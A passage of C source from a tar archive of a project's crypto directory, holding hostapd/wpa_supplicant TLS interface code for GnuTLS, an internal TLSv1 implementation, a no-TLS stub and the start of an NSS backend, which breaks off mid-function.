{
if (conn == NULL)
return -1;
return conn->read_alerts;
}
int tls_connection_get_write_alerts(void *ssl_ctx, struct tls_connection *conn)
{
if (conn == NULL)
return -1;
return conn->write_alerts;
}
int tls_connection_get_keyblock_size(void *tls_ctx,
struct tls_connection *conn)
{
/* TODO */
return -1;
}
unsigned int tls_capabilities(void *tls_ctx)
{
unsigned int capa = 0;
#ifdef GNUTLS_IA
capa |= TLS_CAPABILITY_IA;
#endif /* GNUTLS_IA */
return capa;
}
int tls_connection_set_ia(void *tls_ctx, struct tls_connection *conn,
int tls_ia)
{
#ifdef GNUTLS_IA
int ret;
if (conn == NULL)
return -1;
conn->tls_ia = tls_ia;
if (!tls_ia)
return 0;
ret = gnutls_ia_allocate_server_credentials(&conn->iacred_srv);
if (ret) {
wpa_printf(MSG_DEBUG, "Failed to allocate IA credentials: %s",
gnutls_strerror(ret));
return -1;
}
ret = gnutls_credentials_set(conn->session, GNUTLS_CRD_IA,
conn->iacred_srv);
if (ret) {
wpa_printf(MSG_DEBUG, "Failed to configure IA credentials: %s",
gnutls_strerror(ret));
gnutls_ia_free_server_credentials(conn->iacred_srv);
conn->iacred_srv = NULL;
return -1;
}
return 0;
#else /* GNUTLS_IA */
return -1;
#endif /* GNUTLS_IA */
}
struct wpabuf * tls_connection_ia_send_phase_finished(
void *tls_ctx, struct tls_connection *conn, int final)
{
#ifdef GNUTLS_IA
int ret;
struct wpabuf *buf;
if (conn == NULL || conn->session == NULL || !conn->tls_ia)
return NULL;
ret = gnutls_ia_permute_inner_secret(conn->session,
conn->session_keys_len,
(char *) conn->session_keys);
if (conn->session_keys) {
os_memset(conn->session_keys, 0, conn->session_keys_len);
os_free(conn->session_keys);
}
conn->session_keys = NULL;
conn->session_keys_len = 0;
if (ret) {
wpa_printf(MSG_DEBUG, "%s: Failed to permute inner secret: %s",
__func__, gnutls_strerror(ret));
return NULL;
}
ret = gnutls_ia_endphase_send(conn->session, final);
if (ret) {
wpa_printf(MSG_DEBUG, "%s: Failed to send endphase: %s",
__func__, gnutls_strerror(ret));
return NULL;
}
buf = conn->push_buf;
conn->push_buf = NULL;
return buf;
#else /* GNUTLS_IA */
return NULL;
#endif /* GNUTLS_IA */
}
int tls_connection_ia_final_phase_finished(void *tls_ctx,
struct tls_connection *conn)
{
if (conn == NULL)
return -1;
return conn->final_phase_finished;
}
int tls_connection_ia_permute_inner_secret(void *tls_ctx,
struct tls_connection *conn,
const u8 *key, size_t key_len)
{
#ifdef GNUTLS_IA
if (conn == NULL || !conn->tls_ia)
return -1;
if (conn->session_keys) {
os_memset(conn->session_keys, 0, conn->session_keys_len);
os_free(conn->session_keys);
}
conn->session_keys_len = 0;
if (key) {
conn->session_keys = os_malloc(key_len);
if (conn->session_keys == NULL)
return -1;
os_memcpy(conn->session_keys, key, key_len);
conn->session_keys_len = key_len;
} else {
conn->session_keys = NULL;
conn->session_keys_len = 0;
}
return 0;
#else /* GNUTLS_IA */
return -1;
#endif /* GNUTLS_IA */
}
int tls_connection_set_session_ticket_cb(void *tls_ctx,
struct tls_connection *conn,
tls_session_ticket_cb cb, void *ctx)
{
return -1;
}
bully-1.4-00/src/crypto/tls_internal.c 0000775 0000000 0000000 00000035365 13615304636 0017721 0 ustar 00root root 0000000 0000000 /*
* TLS interface functions and an internal TLS implementation
* Copyright (c) 2004-2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*
* This file interface functions for hostapd/wpa_supplicant to use the
* integrated TLSv1 implementation.
*/
#include "includes.h"
#include "common.h"
#include "tls.h"
#include "tls/tlsv1_client.h"
#include "tls/tlsv1_server.h"
static int tls_ref_count = 0;
struct tls_global {
int server;
struct tlsv1_credentials *server_cred;
int check_crl;
};
struct tls_connection {
struct tlsv1_client *client;
struct tlsv1_server *server;
};
void * tls_init(const struct tls_config *conf)
{
struct tls_global *global;
if (tls_ref_count == 0) {
#ifdef CONFIG_TLS_INTERNAL_CLIENT
if (tlsv1_client_global_init())
return NULL;
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
#ifdef CONFIG_TLS_INTERNAL_SERVER
if (tlsv1_server_global_init())
return NULL;
#endif /* CONFIG_TLS_INTERNAL_SERVER */
}
tls_ref_count++;
global = os_zalloc(sizeof(*global));
if (global == NULL)
return NULL;
return global;
}
void tls_deinit(void *ssl_ctx)
{
struct tls_global *global = ssl_ctx;
tls_ref_count--;
if (tls_ref_count == 0) {
#ifdef CONFIG_TLS_INTERNAL_CLIENT
tlsv1_client_global_deinit();
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
#ifdef CONFIG_TLS_INTERNAL_SERVER
tlsv1_cred_free(global->server_cred);
tlsv1_server_global_deinit();
#endif /* CONFIG_TLS_INTERNAL_SERVER */
}
os_free(global);
}
int tls_get_errors(void *tls_ctx)
{
return 0;
}
struct tls_connection * tls_connection_init(void *tls_ctx)
{
struct tls_connection *conn;
struct tls_global *global = tls_ctx;
conn = os_zalloc(sizeof(*conn));
if (conn == NULL)
return NULL;
#ifdef CONFIG_TLS_INTERNAL_CLIENT
if (!global->server) {
conn->client = tlsv1_client_init();
if (conn->client == NULL) {
os_free(conn);
return NULL;
}
}
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
#ifdef CONFIG_TLS_INTERNAL_SERVER
if (global->server) {
conn->server = tlsv1_server_init(global->server_cred);
if (conn->server == NULL) {
os_free(conn);
return NULL;
}
}
#endif /* CONFIG_TLS_INTERNAL_SERVER */
return conn;
}
void tls_connection_deinit(void *tls_ctx, struct tls_connection *conn)
{
if (conn == NULL)
return;
#ifdef CONFIG_TLS_INTERNAL_CLIENT
if (conn->client)
tlsv1_client_deinit(conn->client);
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
#ifdef CONFIG_TLS_INTERNAL_SERVER
if (conn->server)
tlsv1_server_deinit(conn->server);
#endif /* CONFIG_TLS_INTERNAL_SERVER */
os_free(conn);
}
int tls_connection_established(void *tls_ctx, struct tls_connection *conn)
{
#ifdef CONFIG_TLS_INTERNAL_CLIENT
if (conn->client)
return tlsv1_client_established(conn->client);
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
#ifdef CONFIG_TLS_INTERNAL_SERVER
if (conn->server)
return tlsv1_server_established(conn->server);
#endif /* CONFIG_TLS_INTERNAL_SERVER */
return 0;
}
int tls_connection_shutdown(void *tls_ctx, struct tls_connection *conn)
{
#ifdef CONFIG_TLS_INTERNAL_CLIENT
if (conn->client)
return tlsv1_client_shutdown(conn->client);
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
#ifdef CONFIG_TLS_INTERNAL_SERVER
if (conn->server)
return tlsv1_server_shutdown(conn->server);
#endif /* CONFIG_TLS_INTERNAL_SERVER */
return -1;
}
int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn,
const struct tls_connection_params *params)
{
#ifdef CONFIG_TLS_INTERNAL_CLIENT
struct tlsv1_credentials *cred;
if (conn->client == NULL)
return -1;
cred = tlsv1_cred_alloc();
if (cred == NULL)
return -1;
if (tlsv1_set_ca_cert(cred, params->ca_cert,
params->ca_cert_blob, params->ca_cert_blob_len,
params->ca_path)) {
wpa_printf(MSG_INFO, "TLS: Failed to configure trusted CA "
"certificates");
tlsv1_cred_free(cred);
return -1;
}
if (tlsv1_set_cert(cred, params->client_cert,
params->client_cert_blob,
params->client_cert_blob_len)) {
wpa_printf(MSG_INFO, "TLS: Failed to configure client "
"certificate");
tlsv1_cred_free(cred);
return -1;
}
if (tlsv1_set_private_key(cred, params->private_key,
params->private_key_passwd,
params->private_key_blob,
params->private_key_blob_len)) {
wpa_printf(MSG_INFO, "TLS: Failed to load private key");
tlsv1_cred_free(cred);
return -1;
}
if (tlsv1_set_dhparams(cred, params->dh_file, params->dh_blob,
params->dh_blob_len)) {
wpa_printf(MSG_INFO, "TLS: Failed to load DH parameters");
tlsv1_cred_free(cred);
return -1;
}
if (tlsv1_client_set_cred(conn->client, cred) < 0) {
tlsv1_cred_free(cred);
return -1;
}
return 0;
#else /* CONFIG_TLS_INTERNAL_CLIENT */
return -1;
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
}
int tls_global_set_params(void *tls_ctx,
const struct tls_connection_params *params)
{
#ifdef CONFIG_TLS_INTERNAL_SERVER
struct tls_global *global = tls_ctx;
struct tlsv1_credentials *cred;
/* Currently, global parameters are only set when running in server
* mode. */
global->server = 1;
tlsv1_cred_free(global->server_cred);
global->server_cred = cred = tlsv1_cred_alloc();
if (cred == NULL)
return -1;
if (tlsv1_set_ca_cert(cred, params->ca_cert, params->ca_cert_blob,
params->ca_cert_blob_len, params->ca_path)) {
wpa_printf(MSG_INFO, "TLS: Failed to configure trusted CA "
"certificates");
return -1;
}
if (tlsv1_set_cert(cred, params->client_cert, params->client_cert_blob,
params->client_cert_blob_len)) {
wpa_printf(MSG_INFO, "TLS: Failed to configure server "
"certificate");
return -1;
}
if (tlsv1_set_private_key(cred, params->private_key,
params->private_key_passwd,
params->private_key_blob,
params->private_key_blob_len)) {
wpa_printf(MSG_INFO, "TLS: Failed to load private key");
return -1;
}
if (tlsv1_set_dhparams(cred, params->dh_file, params->dh_blob,
params->dh_blob_len)) {
wpa_printf(MSG_INFO, "TLS: Failed to load DH parameters");
return -1;
}
return 0;
#else /* CONFIG_TLS_INTERNAL_SERVER */
return -1;
#endif /* CONFIG_TLS_INTERNAL_SERVER */
}
int tls_global_set_verify(void *tls_ctx, int check_crl)
{
struct tls_global *global = tls_ctx;
global->check_crl = check_crl;
return 0;
}
int tls_connection_set_verify(void *tls_ctx, struct tls_connection *conn,
int verify_peer)
{
#ifdef CONFIG_TLS_INTERNAL_SERVER
if (conn->server)
return tlsv1_server_set_verify(conn->server, verify_peer);
#endif /* CONFIG_TLS_INTERNAL_SERVER */
return -1;
}
int tls_connection_set_ia(void *tls_ctx, struct tls_connection *conn,
int tls_ia)
{
return -1;
}
int tls_connection_get_keys(void *tls_ctx, struct tls_connection *conn,
struct tls_keys *keys)
{
#ifdef CONFIG_TLS_INTERNAL_CLIENT
if (conn->client)
return tlsv1_client_get_keys(conn->client, keys);
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
#ifdef CONFIG_TLS_INTERNAL_SERVER
if (conn->server)
return tlsv1_server_get_keys(conn->server, keys);
#endif /* CONFIG_TLS_INTERNAL_SERVER */
return -1;
}
int tls_connection_prf(void *tls_ctx, struct tls_connection *conn,
const char *label, int server_random_first,
u8 *out, size_t out_len)
{
#ifdef CONFIG_TLS_INTERNAL_CLIENT
if (conn->client) {
return tlsv1_client_prf(conn->client, label,
server_random_first,
out, out_len);
}
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
#ifdef CONFIG_TLS_INTERNAL_SERVER
if (conn->server) {
return tlsv1_server_prf(conn->server, label,
server_random_first,
out, out_len);
}
#endif /* CONFIG_TLS_INTERNAL_SERVER */
return -1;
}
struct wpabuf * tls_connection_handshake(void *tls_ctx,
struct tls_connection *conn,
const struct wpabuf *in_data,
struct wpabuf **appl_data)
{
#ifdef CONFIG_TLS_INTERNAL_CLIENT
u8 *res, *ad;
size_t res_len, ad_len;
struct wpabuf *out;
if (conn->client == NULL)
return NULL;
ad = NULL;
res = tlsv1_client_handshake(conn->client,
in_data ? wpabuf_head(in_data) : NULL,
in_data ? wpabuf_len(in_data) : 0,
&res_len, &ad, &ad_len);
if (res == NULL)
return NULL;
out = wpabuf_alloc_ext_data(res, res_len);
if (out == NULL) {
os_free(res);
os_free(ad);
return NULL;
}
if (appl_data) {
if (ad) {
*appl_data = wpabuf_alloc_ext_data(ad, ad_len);
if (*appl_data == NULL)
os_free(ad);
} else
*appl_data = NULL;
} else
os_free(ad);
return out;
#else /* CONFIG_TLS_INTERNAL_CLIENT */
return NULL;
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
}
struct wpabuf * tls_connection_server_handshake(void *tls_ctx,
struct tls_connection *conn,
const struct wpabuf *in_data,
struct wpabuf **appl_data)
{
#ifdef CONFIG_TLS_INTERNAL_SERVER
u8 *res;
size_t res_len;
struct wpabuf *out;
if (conn->server == NULL)
return NULL;
if (appl_data)
*appl_data = NULL;
res = tlsv1_server_handshake(conn->server, wpabuf_head(in_data),
wpabuf_len(in_data), &res_len);
if (res == NULL && tlsv1_server_established(conn->server))
return wpabuf_alloc(0);
if (res == NULL)
return NULL;
out = wpabuf_alloc_ext_data(res, res_len);
if (out == NULL) {
os_free(res);
return NULL;
}
return out;
#else /* CONFIG_TLS_INTERNAL_SERVER */
return NULL;
#endif /* CONFIG_TLS_INTERNAL_SERVER */
}
struct wpabuf * tls_connection_encrypt(void *tls_ctx,
struct tls_connection *conn,
const struct wpabuf *in_data)
{
#ifdef CONFIG_TLS_INTERNAL_CLIENT
if (conn->client) {
struct wpabuf *buf;
int res;
buf = wpabuf_alloc(wpabuf_len(in_data) + 300);
if (buf == NULL)
return NULL;
res = tlsv1_client_encrypt(conn->client, wpabuf_head(in_data),
wpabuf_len(in_data),
wpabuf_mhead(buf),
wpabuf_size(buf));
if (res < 0) {
wpabuf_free(buf);
return NULL;
}
wpabuf_put(buf, res);
return buf;
}
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
#ifdef CONFIG_TLS_INTERNAL_SERVER
if (conn->server) {
struct wpabuf *buf;
int res;
buf = wpabuf_alloc(wpabuf_len(in_data) + 300);
if (buf == NULL)
return NULL;
res = tlsv1_server_encrypt(conn->server, wpabuf_head(in_data),
wpabuf_len(in_data),
wpabuf_mhead(buf),
wpabuf_size(buf));
if (res < 0) {
wpabuf_free(buf);
return NULL;
}
wpabuf_put(buf, res);
return buf;
}
#endif /* CONFIG_TLS_INTERNAL_SERVER */
return NULL;
}
struct wpabuf * tls_connection_decrypt(void *tls_ctx,
struct tls_connection *conn,
const struct wpabuf *in_data)
{
#ifdef CONFIG_TLS_INTERNAL_CLIENT
if (conn->client) {
struct wpabuf *buf;
int res;
buf = wpabuf_alloc((wpabuf_len(in_data) + 500) * 3);
if (buf == NULL)
return NULL;
res = tlsv1_client_decrypt(conn->client, wpabuf_head(in_data),
wpabuf_len(in_data),
wpabuf_mhead(buf),
wpabuf_size(buf));
if (res < 0) {
wpabuf_free(buf);
return NULL;
}
wpabuf_put(buf, res);
return buf;
}
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
#ifdef CONFIG_TLS_INTERNAL_SERVER
if (conn->server) {
struct wpabuf *buf;
int res;
buf = wpabuf_alloc((wpabuf_len(in_data) + 500) * 3);
if (buf == NULL)
return NULL;
res = tlsv1_server_decrypt(conn->server, wpabuf_head(in_data),
wpabuf_len(in_data),
wpabuf_mhead(buf),
wpabuf_size(buf));
if (res < 0) {
wpabuf_free(buf);
return NULL;
}
wpabuf_put(buf, res);
return buf;
}
#endif /* CONFIG_TLS_INTERNAL_SERVER */
return NULL;
}
int tls_connection_resumed(void *tls_ctx, struct tls_connection *conn)
{
#ifdef CONFIG_TLS_INTERNAL_CLIENT
if (conn->client)
return tlsv1_client_resumed(conn->client);
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
#ifdef CONFIG_TLS_INTERNAL_SERVER
if (conn->server)
return tlsv1_server_resumed(conn->server);
#endif /* CONFIG_TLS_INTERNAL_SERVER */
return -1;
}
int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn,
u8 *ciphers)
{
#ifdef CONFIG_TLS_INTERNAL_CLIENT
if (conn->client)
return tlsv1_client_set_cipher_list(conn->client, ciphers);
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
#ifdef CONFIG_TLS_INTERNAL_SERVER
if (conn->server)
return tlsv1_server_set_cipher_list(conn->server, ciphers);
#endif /* CONFIG_TLS_INTERNAL_SERVER */
return -1;
}
int tls_get_cipher(void *tls_ctx, struct tls_connection *conn,
char *buf, size_t buflen)
{
if (conn == NULL)
return -1;
#ifdef CONFIG_TLS_INTERNAL_CLIENT
if (conn->client)
return tlsv1_client_get_cipher(conn->client, buf, buflen);
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
#ifdef CONFIG_TLS_INTERNAL_SERVER
if (conn->server)
return tlsv1_server_get_cipher(conn->server, buf, buflen);
#endif /* CONFIG_TLS_INTERNAL_SERVER */
return -1;
}
int tls_connection_enable_workaround(void *tls_ctx,
struct tls_connection *conn)
{
return -1;
}
int tls_connection_client_hello_ext(void *tls_ctx, struct tls_connection *conn,
int ext_type, const u8 *data,
size_t data_len)
{
#ifdef CONFIG_TLS_INTERNAL_CLIENT
if (conn->client) {
return tlsv1_client_hello_ext(conn->client, ext_type,
data, data_len);
}
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
return -1;
}
int tls_connection_get_failed(void *tls_ctx, struct tls_connection *conn)
{
return 0;
}
int tls_connection_get_read_alerts(void *tls_ctx, struct tls_connection *conn)
{
return 0;
}
int tls_connection_get_write_alerts(void *tls_ctx,
struct tls_connection *conn)
{
return 0;
}
int tls_connection_get_keyblock_size(void *tls_ctx,
struct tls_connection *conn)
{
#ifdef CONFIG_TLS_INTERNAL_CLIENT
if (conn->client)
return tlsv1_client_get_keyblock_size(conn->client);
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
#ifdef CONFIG_TLS_INTERNAL_SERVER
if (conn->server)
return tlsv1_server_get_keyblock_size(conn->server);
#endif /* CONFIG_TLS_INTERNAL_SERVER */
return -1;
}
unsigned int tls_capabilities(void *tls_ctx)
{
return 0;
}
struct wpabuf * tls_connection_ia_send_phase_finished(
void *tls_ctx, struct tls_connection *conn, int final)
{
return NULL;
}
int tls_connection_ia_final_phase_finished(void *tls_ctx,
struct tls_connection *conn)
{
return -1;
}
int tls_connection_ia_permute_inner_secret(void *tls_ctx,
struct tls_connection *conn,
const u8 *key, size_t key_len)
{
return -1;
}
int tls_connection_set_session_ticket_cb(void *tls_ctx,
struct tls_connection *conn,
tls_session_ticket_cb cb,
void *ctx)
{
#ifdef CONFIG_TLS_INTERNAL_CLIENT
if (conn->client) {
tlsv1_client_set_session_ticket_cb(conn->client, cb, ctx);
return 0;
}
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
#ifdef CONFIG_TLS_INTERNAL_SERVER
if (conn->server) {
tlsv1_server_set_session_ticket_cb(conn->server, cb, ctx);
return 0;
}
#endif /* CONFIG_TLS_INTERNAL_SERVER */
return -1;
}
bully-1.4-00/src/crypto/tls_none.c 0000775 0000000 0000000 00000007563 13615304636 0017043 0 ustar 00root root 0000000 0000000 /*
* SSL/TLS interface functions for no TLS case
* Copyright (c) 2004-2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "tls.h"
void * tls_init(const struct tls_config *conf)
{
return (void *) 1;
}
void tls_deinit(void *ssl_ctx)
{
}
int tls_get_errors(void *tls_ctx)
{
return 0;
}
struct tls_connection * tls_connection_init(void *tls_ctx)
{
return NULL;
}
void tls_connection_deinit(void *tls_ctx, struct tls_connection *conn)
{
}
int tls_connection_established(void *tls_ctx, struct tls_connection *conn)
{
return -1;
}
int tls_connection_shutdown(void *tls_ctx, struct tls_connection *conn)
{
return -1;
}
int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn,
const struct tls_connection_params *params)
{
return -1;
}
int tls_global_set_params(void *tls_ctx,
const struct tls_connection_params *params)
{
return -1;
}
int tls_global_set_verify(void *tls_ctx, int check_crl)
{
return -1;
}
int tls_connection_set_verify(void *tls_ctx, struct tls_connection *conn,
int verify_peer)
{
return -1;
}
int tls_connection_set_ia(void *tls_ctx, struct tls_connection *conn,
int tls_ia)
{
return -1;
}
int tls_connection_get_keys(void *tls_ctx, struct tls_connection *conn,
struct tls_keys *keys)
{
return -1;
}
int tls_connection_prf(void *tls_ctx, struct tls_connection *conn,
const char *label, int server_random_first,
u8 *out, size_t out_len)
{
return -1;
}
struct wpabuf * tls_connection_handshake(void *tls_ctx,
struct tls_connection *conn,
const struct wpabuf *in_data,
struct wpabuf **appl_data)
{
return NULL;
}
struct wpabuf * tls_connection_server_handshake(void *tls_ctx,
struct tls_connection *conn,
const struct wpabuf *in_data,
struct wpabuf **appl_data)
{
return NULL;
}
struct wpabuf * tls_connection_encrypt(void *tls_ctx,
struct tls_connection *conn,
const struct wpabuf *in_data)
{
return NULL;
}
struct wpabuf * tls_connection_decrypt(void *tls_ctx,
struct tls_connection *conn,
const struct wpabuf *in_data)
{
return NULL;
}
int tls_connection_resumed(void *tls_ctx, struct tls_connection *conn)
{
return 0;
}
int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn,
u8 *ciphers)
{
return -1;
}
int tls_get_cipher(void *tls_ctx, struct tls_connection *conn,
char *buf, size_t buflen)
{
return -1;
}
int tls_connection_enable_workaround(void *tls_ctx,
struct tls_connection *conn)
{
return -1;
}
int tls_connection_client_hello_ext(void *tls_ctx, struct tls_connection *conn,
int ext_type, const u8 *data,
size_t data_len)
{
return -1;
}
int tls_connection_get_failed(void *tls_ctx, struct tls_connection *conn)
{
return 0;
}
int tls_connection_get_read_alerts(void *tls_ctx, struct tls_connection *conn)
{
return 0;
}
int tls_connection_get_write_alerts(void *tls_ctx,
struct tls_connection *conn)
{
return 0;
}
int tls_connection_get_keyblock_size(void *tls_ctx,
struct tls_connection *conn)
{
return -1;
}
unsigned int tls_capabilities(void *tls_ctx)
{
return 0;
}
struct wpabuf * tls_connection_ia_send_phase_finished(
void *tls_ctx, struct tls_connection *conn, int final)
{
return NULL;
}
int tls_connection_ia_final_phase_finished(void *tls_ctx,
struct tls_connection *conn)
{
return -1;
}
int tls_connection_ia_permute_inner_secret(void *tls_ctx,
struct tls_connection *conn,
const u8 *key, size_t key_len)
{
return -1;
}
bully-1.4-00/src/crypto/tls_nss.c 0000775 0000000 0000000 00000036176 13615304636 0016711 0 ustar 00root root 0000000 0000000 /*
* SSL/TLS interface functions for NSS
* Copyright (c) 2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "common.h"
#include "tls.h"
static int tls_nss_ref_count = 0;
static PRDescIdentity nss_layer_id;
struct tls_connection {
PRFileDesc *fd;
int established;
int verify_peer;
u8 *push_buf, *pull_buf, *pull_buf_offset;
size_t push_buf_len, pull_buf_len;
};
static PRStatus nss_io_close(PRFileDesc *fd)
{
wpa_printf(MSG_DEBUG, "NSS: I/O close");
return PR_SUCCESS;
}
static PRInt32 nss_io_read(PRFileDesc *fd, void *buf, PRInt32 amount)
{
wpa_printf(MSG_DEBUG, "NSS: I/O read(%d)", amount);
return PR_FAILURE;
}
static PRInt32 nss_io_write(PRFileDesc *fd, const void *buf, PRInt32 amount)
{
wpa_printf(MSG_DEBUG, "NSS: I/O write(%d)", amount);
return PR_FAILURE;
}
static PRInt32 nss_io_writev(PRFileDesc *fd, const PRIOVec *iov,
PRInt32 iov_size, PRIntervalTime timeout)
{
wpa_printf(MSG_DEBUG, "NSS: I/O writev(%d)", iov_size);
return PR_FAILURE;
}
static PRInt32 nss_io_recv(PRFileDesc *fd, void *buf, PRInt32 amount,
PRIntn flags, PRIntervalTime timeout)
{
struct tls_connection *conn = (struct tls_connection *) fd->secret;
u8 *end;
wpa_printf(MSG_DEBUG, "NSS: I/O recv(%d)", amount);
if (conn->pull_buf == NULL) {
wpa_printf(MSG_DEBUG, "NSS: No data available to be read yet");
return PR_FAILURE;
}
end = conn->pull_buf + conn->pull_buf_len;
if (end - conn->pull_buf_offset < amount)
amount = end - conn->pull_buf_offset;
os_memcpy(buf, conn->pull_buf_offset, amount);
conn->pull_buf_offset += amount;
if (conn->pull_buf_offset == end) {
wpa_printf(MSG_DEBUG, "%s - pull_buf consumed", __func__);
os_free(conn->pull_buf);
conn->pull_buf = conn->pull_buf_offset = NULL;
conn->pull_buf_len = 0;
} else {
wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in pull_buf",
__func__,
(unsigned long) (end - conn->pull_buf_offset));
}
return amount;
}
static PRInt32 nss_io_send(PRFileDesc *fd, const void *buf, PRInt32 amount,
PRIntn flags, PRIntervalTime timeout)
{
struct tls_connection *conn = (struct tls_connection *) fd->secret;
u8 *nbuf;
wpa_printf(MSG_DEBUG, "NSS: I/O %s", __func__);
wpa_hexdump(MSG_MSGDUMP, "NSS: I/O send data", buf, amount);
nbuf = os_realloc(conn->push_buf, conn->push_buf_len + amount);
if (nbuf == NULL) {
wpa_printf(MSG_ERROR, "NSS: Failed to allocate memory for the "
"data to be sent");
return PR_FAILURE;
}
os_memcpy(nbuf + conn->push_buf_len, buf, amount);
conn->push_buf = nbuf;
conn->push_buf_len += amount;
return amount;
}
static PRInt32 nss_io_recvfrom(PRFileDesc *fd, void *buf, PRInt32 amount,
PRIntn flags, PRNetAddr *addr,
PRIntervalTime timeout)
{
wpa_printf(MSG_DEBUG, "NSS: I/O %s", __func__);
return PR_FAILURE;
}
static PRInt32 nss_io_sendto(PRFileDesc *fd, const void *buf, PRInt32 amount,
PRIntn flags, const PRNetAddr *addr,
PRIntervalTime timeout)
{
wpa_printf(MSG_DEBUG, "NSS: I/O %s", __func__);
return PR_FAILURE;
}
static PRStatus nss_io_getpeername(PRFileDesc *fd, PRNetAddr *addr)
{
wpa_printf(MSG_DEBUG, "NSS: I/O getpeername");
/*
* It Looks like NSS only supports IPv4 and IPv6 TCP sockets. Provide a
* fake IPv4 address to work around this even though we are not really
* using TCP.
*/
os_memset(addr, 0, sizeof(*addr));
addr->inet.family = PR_AF_INET;
return PR_SUCCESS;
}
static PRStatus nss_io_getsocketoption(PRFileDesc *fd,
PRSocketOptionData *data)
{
switch (data->option) {
case PR_SockOpt_Nonblocking:
wpa_printf(MSG_DEBUG, "NSS: I/O getsocketoption(Nonblocking)");
data->value.non_blocking = PR_TRUE;
return PR_SUCCESS;
default:
wpa_printf(MSG_DEBUG, "NSS: I/O getsocketoption(%d)",
data->option);
return PR_FAILURE;
}
}
static const PRIOMethods nss_io = {
PR_DESC_LAYERED,
nss_io_close,
nss_io_read,
nss_io_write,
NULL /* available */,
NULL /* available64 */,
NULL /* fsync */,
NULL /* fseek */,
NULL /* fseek64 */,
NULL /* fileinfo */,
NULL /* fileinfo64 */,
nss_io_writev,
NULL /* connect */,
NULL /* accept */,
NULL /* bind */,
NULL /* listen */,
NULL /* shutdown */,
nss_io_recv,
nss_io_send,
nss_io_recvfrom,
nss_io_sendto,
NULL /* poll */,
NULL /* acceptread */,
NULL /* transmitfile */,
NULL /* getsockname */,
nss_io_getpeername,
NULL /* reserved_fn_6 */,
NULL /* reserved_fn_5 */,
nss_io_getsocketoption,
NULL /* setsocketoption */,
NULL /* sendfile */,
NULL /* connectcontinue */,
NULL /* reserved_fn_3 */,
NULL /* reserved_fn_2 */,
NULL /* reserved_fn_1 */,
NULL /* reserved_fn_0 */
};
static char * nss_password_cb(PK11SlotInfo *slot, PRBool retry, void *arg)
{
wpa_printf(MSG_ERROR, "NSS: TODO - %s", __func__);
return NULL;
}
void * tls_init(const struct tls_config *conf)
{
char *dir;
tls_nss_ref_count++;
if (tls_nss_ref_count > 1)
return (void *) 1;
PR_Init(PR_SYSTEM_THREAD, PR_PRIORITY_NORMAL, 1);
nss_layer_id = PR_GetUniqueIdentity("wpa_supplicant");
PK11_SetPasswordFunc(nss_password_cb);
dir = getenv("SSL_DIR");
if (dir) {
if (NSS_Init(dir) != SECSuccess) {
wpa_printf(MSG_ERROR, "NSS: NSS_Init(cert_dir=%s) "
"failed", dir);
return NULL;
}
} else {
if (NSS_NoDB_Init(NULL) != SECSuccess) {
wpa_printf(MSG_ERROR, "NSS: NSS_NoDB_Init(NULL) "
"failed");
return NULL;
}
}
if (SSL_OptionSetDefault(SSL_V2_COMPATIBLE_HELLO, PR_FALSE) !=
SECSuccess ||
SSL_OptionSetDefault(SSL_ENABLE_SSL3, PR_FALSE) != SECSuccess ||
SSL_OptionSetDefault(SSL_ENABLE_SSL2, PR_FALSE) != SECSuccess ||
SSL_OptionSetDefault(SSL_ENABLE_TLS, PR_TRUE) != SECSuccess) {
wpa_printf(MSG_ERROR, "NSS: SSL_OptionSetDefault failed");
return NULL;
}
if (NSS_SetDomesticPolicy() != SECSuccess) {
wpa_printf(MSG_ERROR, "NSS: NSS_SetDomesticPolicy() failed");
return NULL;
}
return (void *) 1;
}
void tls_deinit(void *ssl_ctx)
{
tls_nss_ref_count--;
if (tls_nss_ref_count == 0) {
if (NSS_Shutdown() != SECSuccess)
wpa_printf(MSG_ERROR, "NSS: NSS_Shutdown() failed");
}
}
int tls_get_errors(void *tls_ctx)
{
return 0;
}
static SECStatus nss_bad_cert_cb(void *arg, PRFileDesc *fd)
{
struct tls_connection *conn = arg;
SECStatus res = SECSuccess;
PRErrorCode err;
CERTCertificate *cert;
char *subject, *issuer;
err = PR_GetError();
if (IS_SEC_ERROR(err))
wpa_printf(MSG_DEBUG, "NSS: Bad Server Certificate (sec err "
"%d)", err - SEC_ERROR_BASE);
else
wpa_printf(MSG_DEBUG, "NSS: Bad Server Certificate (err %d)",
err);
cert = SSL_PeerCertificate(fd);
subject = CERT_NameToAscii(&cert->subject);
issuer = CERT_NameToAscii(&cert->issuer);
wpa_printf(MSG_DEBUG, "NSS: Peer certificate subject='%s' issuer='%s'",
subject, issuer);
